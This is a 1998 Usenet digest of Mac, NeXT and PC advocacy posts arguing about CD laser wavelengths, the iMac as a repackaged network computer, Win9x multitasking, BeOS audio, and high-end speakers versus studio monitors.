References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu>
In article <enj-1808981701510001@kly12.slac.stanford.edu>,
enj@slac.stanford.edu (Erik Nyls Jongewaard) wrote:
> In article <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com>,
> uthant@un.org (U Thant) wrote:
>
> > In article <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> > > > You'd have to look directly into it - lasers travel straight. You
> > > > can see the red dot of the laser beam on the lens, without
> > > > looking straight into the beam's path.
> > >
> > > But is the beam ITSELF visible red? It is possible that the laser
> > > LED itself produces some red light INSIDE the laser diode, but
> > > its the color of the laser beam itself that concerns us. If it is red,
> > > then you would see a slim column of red light emitting from the
> > > laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> > > Bond, I expect you to DIE!"). This would be visible from the side. No
> > > visible red laser beam, then its not a red laser.
> > >
> > > George Graves
> >
> >
> > Sorry, George, most CD lasers are very definitely visible red and NOT
> > infra-red.
> > Take one apart sometime.
> > Also, you will not be able to see a slim column of red light emitting
> from the
> > laser diode and striking the disc _unless_ you use some medium to
> > reflect (and/or refract) the laser beam. Try looking at the beam from a
> > simple laser pointer which is just a more powerful version of a diode
> > (solid state) laser used in CD players. Without using smoke, fog, steam,
> > etc., you can't see the beam, even in a pitch dark room.
That's right. But one could see the spot on the disk!
> > Much more powerful lasers of the type used in light shows (and to split
> > secret agents in half) are not diode lasers.
I'm aware of that. The Bond bit was a joke.
These boys are as much as 10
> > watts or more and they produce enough light to be refracted by dust in the
> > air (and smoke from spliffs at concerts). Their beams can be seen quite
> > well.
> >
> > Nash aka Mr Knowitall
Can you pull a rabit out of a hat (Oh, no, Again??!) without it turning into
a lion or a rhinocerous? If you can, then you are definitely NOT Mr.
Knowitall. The real Mr. Knowitall is a tall unassuming Moose.
George Graves
> >
> > --
> > email me at:
> > denash@mindspring.com
>
>
> CD lasers are around 780 nm which is considered to be beyond the visible
> range and in the near-infrared. Some CD players have a LED which illuminates
> the spinning CD to give the consumer a warm fuzzy feeling that something
> is going on, but the actual data pickup laser is invisible. Check out the
> following website giving specs for a typical CD pickup with a laser diode
> putting out 4mW at 785 nm:
>
> http://www.sanyo.co.jp/infopd/cd/cat/eng/pick/sfk50-sp.htm
>
> -Erik
>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35e38142.25822380@news.calweb.com> <macghod-1808982154340001@sdn-ar-001casbarp215.dialsprint.net> <gmgraves-1908980943000001@sf-usr1-40-168.dialup.slip.net>
Message-ID: <35db15d8.0@news.depaul.edu>
Date: 19 Aug 98 18:13:44 GMT
In comp.sys.next.advocacy George Graves <gmgraves@slip.net> wrote:
> I think its fairly obvious. It certainly makes a perfect "reduced" client if
> not actually a "thin" client computer. Only the HD and the lack of a bootable
> system in ROM (or over a network) seperates the iMac from a thin client
> computer,
The iMac evidently is able to boot over a network, though
there's no boot server currently available. OSX/Server?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 11:23:11 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6rf5np$4lp$1@plo.sierra.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net>
NNTP-Posting-Date: 19 Aug 1998 18:32:25 GMT
Alex Kac wrote in message ...
>In article <6rd1km$bgs$1@plo.sierra.com>, "Earl Malmrose"
><earl.malmrose@nospam.sierra.com> wrote:
>
>: Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
>: >
>: >Point of order, though. Win9x doesn't do Premptive MTing, either.. they
>: >fake it real well.
>:
>: Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
>
>Considering that you can't download a large file and do any browsing at
>the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
>think I would put much into this real pre-emptive multi-tasking.
What, are you trying that over a 2400 baud modem? I regularly download
several files as once, while browsing the web, checking news and e-mail,
compiling in the background, calculating prime numbers, cracking RC5, and
dozens of other tasks. In fact I'm downloaded the latest Linux Kernel
2.1.116 right now, while writing and sending this message.
>Heck, the pre-emptive, memory protected OS I wrote for a CS class did
better...
Then you'll recognize this code:
main()
{
while (1);
}
Guess what? That code will be pre-empted by Win9x, WinNT, BeOS, Unix, any
nearly every other OS today, but not with MacOS.
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <rbarris-ya023280001908981129280001@206.82.216.1>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134> <6rf4ss$4ab$1@plo.sierra.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Wed, 19 Aug 1998 11:29:28 -0700
NNTP-Posting-Date: Wed, 19 Aug 1998 11:27:06 PDT
In article <6rf4ss$4ab$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Lawson English wrote in message ...
> >>Really? I have the source code for Byte and Codewarrior 3 (the compiler
> >>used for the majority of software compiled for the mac). Please advise me
> >>how to repeat this fact.
> >
> >Actually, most development work is done using CodeWarrior but if you need
> >the highest speed, you do your final build using Mr C or some other, more
> >efficient PPC compiler (Motorola, perhaps?).
>
> Then might it also make sense to use the highest speed x86 compiler, if you
> want a more fair benchmark? MSVC++ 5.0 is at least 40% faster than the
> Watcom that BYTE used.
This seems like a perfect opportunity for Intel to strike back with
their own benchmarks. It's been at least three or four months since the
"snail" ad aired, you'd think we would have heard their counterpoint by
now.
Rob
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Wed, 19 Aug 1998 13:32:05 -0500
Organization: Ericsson North America Inc.
Message-ID: <35DB1A25.7573C79A@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com> <1de04hl.63ghpy7uznp3N@roxboro0-031.dyn.interpath.net> <joe.ragosta-1908981020240001@wil64.dol.net> <1de0bq0.17ooe6h176d7isN@roxboro0-031.dyn.interpath.net>
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John Moreno wrote:
> I was just trying to correct a common error on advocacy group - i.e. not
> speaking precisely, and attacking the person not the statement. Sal
> says that it runs on PC's, and if the sales warrant it apple will
> support it, Peck poo-paas this by saying that Sal doesn't represent
> apple. One could say that Sal wasn't precise enough (should have said
> HE was sure that if sales warranted it...), but Peck was even more off
> base - it's inconceivable that they wouldn't support it for a sufficient
> return.
Not. John Jensen has already pointed out with excessive clarity the fact
that Apple has pre-determined the outcome of Rhapsody on Intel. Put
simply, it's not a matter of "what will happen?"; it is rather a matter
of "we have decided what will happen".
> He should have attacked the idea (as you did) that they might
> sale enough to change their minds about dropping it, given it's
> lackluster marketing, and the negative implications that they have made
> (i.e. that they probably aren't going to support it).
I've got two scenarios for you:
1. Apple writes an operating system, trains a support staff to handle
it, outlines a growth plan, and executes a marketing strategy, all aimed
at introducing a product for the sake of venturing into a new product.
The intention is to gauge interest in the product from its first
incarnation as a combination of all the factors (quality, support,
effort, corporate backing, advertising) that would go into subsequent
generations of the product. Thus, a real test with a reasonably complete
number of real variables has been conducted and Apple can with
confidence use the results as a basis for a decision on whether or not
to continue the product.
2. Apple dedicates a few engineers or a small department to porting an
existing system. No advertising money is spent. No support staff is
trained. A Web page with a small FAQ is put up on the Web site. Hardware
manufacturers receive an email directed to "technical support"
advertising info on writing drivers for the port. A handful of freeware
developers are enlisted to include their own ports on the distribution
media. The product is sold at the same price as the original, fails to
capture any interest whatsoever, and is subsequently dropped.
Which scenario is closer to what you're imagining?
> Personally I don't believe that the sales will warrant it, and believe
> that since the decision has already been made a reversal of the decision
> would take extraordinary sales - by which I mean that even if it does
> enough business to justify it's continuation, it won't be enough to
> justify changing their minds.
This is known as a "self-fulfilling prophecy".
> (So if X sales are profitable and enough
> to keep it going, it will take X*2 or 3 to get them to change their
> mind). I also believe that given the marketing they are unlikely to
> sell even X.
MJP
From: mika@solluna.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Wed, 19 Aug 1998 18:32:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rf5o3$3lh$1@nnrp1.dejanews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <35AFC01F.1739@REMOVE.wayne.edu> <slrn6qvr1q.jto.jason@jhste1.dyn.ml.org> <35D7FC98.C8445170@sci.kun.nl> <slrn6tkkht.1kh.jason@jhste1.dyn.ml.org>
In article <slrn6tkkht.1kh.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Perhaps BeOS feels so nice because it doesn't have enough apps to keep
> the machine busy and in swap? ;) ;)
I'm sure there's more than enough apps out there already to make the
app_server choke. (Or you can do stupid app tricks with just one program: I
tried playing five MP3 files at the same time on my P166, and Very Bad Things
happened. To BeOS's credit, it was managing to play *four* MP3 files,
simultaneously, at different speeds, and doing a real-time mix of them
without crashing.)
Seriously, though, I think NetPositive is a bit subjectively "snappier" than
many other browsers because v2.0 is very well-threaded. It feels snappier
than either Windows or Linux Netscape on the same hardware to me. Then
again, both IE4 and Opera are snappier than Netscape on the same hardware.
Navigator may have many virtues, but speed has never been one of them, IMHO.
I await the day I can stick Opera on my BeOS system, and on my friends' MacOS
and Linux systems.
--- Note: one may wonder exactly *why* someone would want to play four or
five MP3 files simultaneously, at different speeds, doing a real-time mix of
them. I have no idea, but I'm not sure how many other OS's could do it.
Incidentally, one of those MP3 files was playing backwards.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: 19 Aug 1998 19:42:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rf9rf$fon$1@lwnws01.ne.highway1.com>
References: <6rd076$dc1$1@leol.net-link.net> <6rdhkg$55c$1@lwnws01.ne.highway1.com> <6rdoq7$4fl$1@news.digifix.com> <35daf168.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> I'm not a big fan of the 'voice-as-primary-UI' concept, but it could
> be very useful if the user could verbally ask for something while
> working on something else. For instance the user might be working
> on a spreadsheet, but could verbally ask the computer to print a
> particular document, which would happen without ever leaving the
> spreadsheet.
>
> This would be cool if the computer were interfaced with a high
> capacity music CD changer, or MP3 Jukebox. "Put on something by
> Over the Rhine or Garbage". "Play Colossal Head". "Play it again,
> Sam". Ask "What song was that?" and a window pops up with artist,
> album, and song title.
Yes, I agree. I have one of them 200CD jukeboxes, and it's nice. But
programming it is a royal pain and still doesn't do things like I'd like it
to. It would be great to have "passive dynamic voice programming." The user
could say "less" or "more" and the random song currently playing would be
more or less likely to come up at random in the future. That way over time a
user's tastes would be a hueristic for song selection. Also, I've heard of a
couple of places thinking about making mp3 players, but have yet to hear of
such a commercial product. I'd be darn interested in a 200DVD MP3 playing
jukebox; and have even played with the idea of making one for myself (not too
difficult, but time consuming and I don't have the time ):. By my estimates
you'd be able to get about 300,000 songs on such a beast. :) That would be
way too annoying to program, even if coupled to some computer system, but via
"passive dynamic voice programming" it would be very managable.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 19 Aug 1998 09:43:00 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908980943000001@sf-usr1-40-168.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35e38142.25822380@news.calweb.com> <macghod-1808982154340001@sdn-ar-001casbarp215.dialsprint.net>
In article <macghod-1808982154340001@sdn-ar-001casbarp215.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> > On Sun, 16 Aug 1998 08:05:28 -0400, joe.ragosta@dol.net (Joe Ragosta)
> > wrote:
> >
> > >
> > >Right. Like not paying for floppy drives if you don't need them.
>
>
> Yeah, and the new g3's were introduced at the same time (give or take a
> few days) and not only is it not the case that they dont come with a
> floppy, one doesnt even have the option to get a g3 WITHOUT a floppy!! A
> ide superdrive retails for a measly $60, does EVERYTHING a floppy drive
> does, and Joe claims a floppy in the mac costs APPLE at least $50. And we
> are to believe the imac not having a floppy is apple's innovativeness?
>
> Can anyone comment on the reports that the imac is just the remnants of
> the mac NC? I am not trying to tell falsehoods, I have actually read that
> from what is written on the bottom of some imacs motherboards that the
> imac is a remnant of the mac NC
I think its fairly obvious. It certainly makes a perfect "reduced" client if
not actually a "thin" client computer. Only the HD and the lack of a bootable
system in ROM (or over a network) seperates the iMac from a thin client
computer, and if I had an office full of people who needed computers, I
would look long and hard at a bunch of iMacs and a server as the perfect
office solution.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 19 Aug 1998 09:34:21 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908980934220001@sf-usr1-40-168.dialup.slip.net>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <35e28031.25549037@news.calweb.com> <macghod-1808982144520001@sdn-ar-001casbarp215.dialsprint.net>
In article <macghod-1808982144520001@sdn-ar-001casbarp215.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <35e28031.25549037@news.calweb.com>,
> hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
>
> >
> > >One of the defining things about PCs is that they have had expansion
> > >slots from day one. No having to pay a premium for SCSI, no paying
> > >extra for the models with PCI slots years after PCI was standard.
> > >
> >
> > Apparently Apple doesn't agree with you. Now you can buy a Mac that
> > makes the floppy an option (ie, one you have to pay more to get).
>
> Ahhh, the "the imac shows how visionary apple is" argument.
> Question. How come the new mac g3's that were released about the same
> time as the imac MAKE you pay for a floppy drive? The imac gives you no
> option to have your computer COME with a internal floppy, and the new g3s
> give you no option to have your computer NOT come with a internal floppy.
>
> What the F*** is up with this? Joe R says a mac internal floppy Costs
> *APPLE* at least $50. A imation internal ide superdisk does EXACTLY what
> the macs floppy drive does, PLUS gives high ammount of storage, and RETAIL
> is as low as only $60.
Where have you seen the Imation drive for $60? $160 is more like it and it
lists for around $200.
>
> Numerous sources have said how the bottom of several imac motherboards
> have the same name as the codename for the apple NC. Basically apple just
> reformed the FAILED NC into a consumer machine, and all the apple fanatics
> are too blind to see it isnt innovativeness.
I was saying that thre months ago. Its obvious that the iMac is a repackaged
NC. No floppy, a 100BaseT ethernet connection on a CONSUMER machine, limited
expandability. Its got NC written all over it.
George Graves
>
>
> > And I thought the old original Mac was limiting.
> >
> > By the way, it was interesting to read an article on one of the news
> > web sites written by a Mac using journalist who complained both about
> > the lack of floppy in the iMac AND the fact that they didn't provide a
> > couple normal serial ports for compatibility reasons. He even
> > mentioned that on serial-looking port under the cover is marked "Not a
> > serial port".
>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Wed, 19 Aug 1998 10:00:22 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981000230001@sf-usr1-40-168.dialup.slip.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <joe.ragosta-1908980753220001@wil70.dol.net> <6rep0b$bge$1@walter.cs.umd.edu>
In article <6rep0b$bge$1@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
> In article <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> >In article <6racqh$its$2@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke)
> >wrote:
> >
> >>Most studios have two pairs of speakers: big huge ones in the back that
> >>boom a lot and impress the bigwigs when they want to hear what they paid
> >>for, and small, almost consumer-grade, near field studio monitors that are
> >>still reasonably flat but are closer to their intended audience. These
> >>monitors cost between $250 and $1000, depending on the model. The most
> >>common are Yamaha NS10s (but getting up in age now), but there are tons of
> >>JBLs, Tascams, etc. out there. If you want to hear sound as the engineers
> >>had arranged it, that's what you buy. It's what *they* used to define the
> >>sound to begin with. And I guarantee you'll hate it -- not "interesting
> >>enough". All $10,000 speakers _really_ do is distort the high and low end
> >>frequency levels to make the sound sound more "exciting".
> >
> >Bull***. All speakers are flawed. Cheap ones sound like speakers. Expensive
> >ones sound like music. To the extent that they sound like music, and in
which
> >areas of reproduction determine their price point and audience. You listen to
> >a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
> >Puppy's ($12000/pr) with the proper electronics and tell me that they are
> >just distorting things to make them sound more exciting.
>
> Thanks, but I too have listened to rather the high end in speakers. The
> consumer high end in everything from anechoic chambers to what I call the
> 'audiophile cannonical listening room' (at least 20x20, mechanically
> coupled wood floors, cathredal ceilings , mood track lighting :-). And
> custom professional rigs designed specifically for the acoustics of
> specific chambers. And they sound amazing. The bass is rich and tight,
> the high end is crisp, there's never any amplitude distortion, and the
> chorusing and adjacent frequency effects are low. Music just jumps out at
> you.
>
> It's also entirely artificial. The high and low end are both carefully
> emphasized, the subaural (<50Hz) low end is included, and with the right
> electronics, specific mid-range frequency elements are brought to the fore
> depending on the music, and filtering provides great spatial body. The
> resultant psychoacoustical effect is very interesting. It is all
> this...let's be nice and call it 'sound adjustment'...that provides the
> large bulk of the "more real than real" listening experience with
> expensive rigs. You like to think that you finally hear "the music" on
> one of these. But the truth is that the music performed in real life
> never sounded so impressive. It's like turning the contrast up on a TV.
> Real life doesn't actually have such rich colors.
This is completely wrong. No audiophile worth his/her salt would EVER
buy a system like that. I went to great lengths to insure that the frequency
response of my system in my listening room is flat. Most audiophiles do
the same.
>
> George, there's no getting around a simple fact: engineers didn't mix the
> sound on Magnaplanars. Good postproduction was done mostly likely on
> pseudo-consumer grade (JBL, Yamaha NS10, etc.) near-field monitors, in a
> low-reverberant, low-noise setting (what the control room shoots for),
> and accompanied by headphones. These speakers and headphones have
> enormous flaws, but they are _the_sound_generation_system_ that the
> engineers tuned their mixes to.
They do that because those are the qualities of the speakers most people
own. Few people own Maggies or Watt/Puppy's, it would do the large body
of record buyers a great disservice to "mix" music on systems that are
far more accurate than the average buyer has access to. On the other hand,
you seem to be saying that in order to hear this stuff the way the recording
artists and engineers hear it, one should buy JBLs or other 'session'
speakers (BTW, the Yamaha's are passe. I haven't seen them in a studio for
years. Right now, British speakers like the Tannoy Nearfield Monitors are
the rage).
Also, I try not to listen to music that's been "mixed" at all! I don't
like popular
music, and I don't buy classical which has been multimiked/multichannel
recorded.
If you want to hear the sound as it was
> mixed, you buy the speakers it was mixed for, and try to replicate the
> environment it was mixed in. And I guarantee you won't like what you hear
> (flat, with an unimpressive bass and few ambient spatial effects). But
> that's what the *real* sound is.
Wrong again. I have recorded (and attended) more symphony orchestra concerts
than most people have ever heard of. I know what real music sounds like,
because REAL music in REAL space is my reference and I 'recalibrate' my
ears every chance I get. My system sounds as close to real music as
technology can make it, and it does NOT sound the way you characterize it!
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Wed, 19 Aug 1998 10:08:45 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981008450001@sf-usr1-40-168.dialup.slip.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz>
In article <p.kerr-1908981231590001@news.auckland.ac.nz>,
p.kerr@auckland.ac.nz (Peter Kerr) wrote:
> gmgraves@slip.net (George Graves) wrote:
> > seanl@cs.umd.edu (Sean Luke) wrote:
> >> Most studios have two pairs of speakers: big huge ones in the back that
> >> boom a lot and impress the bigwigs when they want to hear what they paid
> >> for, and small, almost consumer-grade, near field studio monitors that are
> >> still reasonably flat but are closer to their intended audience. These
> >> monitors cost between $250 and $1000, depending on the model. The most
> >> common are Yamaha NS10s (but getting up in age now), but there are tons of
> >> JBLs, Tascams, etc. out there. If you want to hear sound as the engineers
> >> had arranged it, that's what you buy. I's what *they* used to define the
> >> sound to begin with. And I guarantee you'll hate it -- not "interesting
> >> enough". All $10,000 speakers _really_ do is distort the high and low end
> >> frequency levels to make the sound sound more "exciting".
> >
> >Bullshit. All speakers are flawed.
>
> true
>
> > Cheap ones sound like speakers.
>
> most speakers sound like speakers
>
> >Expensive ones sound like music.
>
> Expensive ones sound like money, or placebos
>
> >To the extent that they sound like music, and in which
> >areas of reproduction determine their price point and audience. You listen to
> >a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
> >Puppy's ($12000/pr) with the proper electronics and tell me that they are
> >just distorting things to make them sound more exciting. You shouldn't make
> >judgements about things you know don't know anything about.
>
> Many of the expensive speakers have to deal with the crap acoustic
> environment in which they are installed, and distort the signal to make a
> better sound.
>
> A well designed mastering studio can achieve a high quality of sound with
> surprisingly inexpensive and simple monitors.
It just doesn't sound like real music that's all. I am a recording engineer
and audio journalist of some notariety. I use real music played in real
space as my reference. I have stalked recording studios from San Francisco
to LA and from Memphis to NYC, and I have NEVER heard a recording studio
monitoring system where the sound even had a passing aquaintance with
the sound of real music. Usually the midrange is boosted to give more
"prescence" to the vocalists, and the speakers are rolled-off at the bottom
and at the top. Studio setups don't image at all (but then neither do studio
recorded performances) and most of them sound excreable. They do their
job, however, turning out musical pablum for the perennially infantile.
George Graves
From: nospaam@pascal.stu.rpi.edu (Peter F. Curran)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 19 Aug 1998 17:00:04 GMT
Organization: Rensselaer (curran@rpi.edu)
Message-ID: <6rf0ak$u6s$3@newsfeeds.rpi.edu>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>
<asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com>
<nospam-1408980055000001@dhack1-124.cybernex.net>
<6r22ti$bvq$1@nnrp1.dejanews.com>
<joe.ragosta-1408981626220001@wil72.dol.net>
<Pine.LNX.3.96.980814171602.22434B-100000@paule>
<joe.ragosta-1408981927480001@elk72.dol.net>
<35db7947.23779152@news.calweb.com>
<joe.ragosta-1808981429210001@wil50.dol.net>
In article <joe.ragosta-1808981429210001@wil50.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) writes:
>In article <35db7947.23779152@news.calweb.com>,
>hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
[snip]
>> In YOUR opinion. Other people have different opinions. Some of us
>> even state that our opinions are just that, instead of passing them
>> off as FACTS.
>
>Of course, my opinion is backed by years of research by numerous
>independet labs.
>
>Do you have any evidence at all to disprove it?
>
Sorry... can't resist... MUST use standard reply...
Evidently the OVERWHELMING evidence existing outside the
lab must be an erroneous datum! M$-Winblows _did_ win the
PeeCee war after all... :^)
(Personally I hate Macs only _slightly_ more than Winblows)
--
Peter F Curran
Rensselaer Polytechnic Institute
dough knot male: nospaam@pascal.stu.rpi.edu
Use address in Organization line, finger
for PGP key. Antispaam test in progress.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 17:03:21 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35dc04bd.63867859@news.supernews.com>
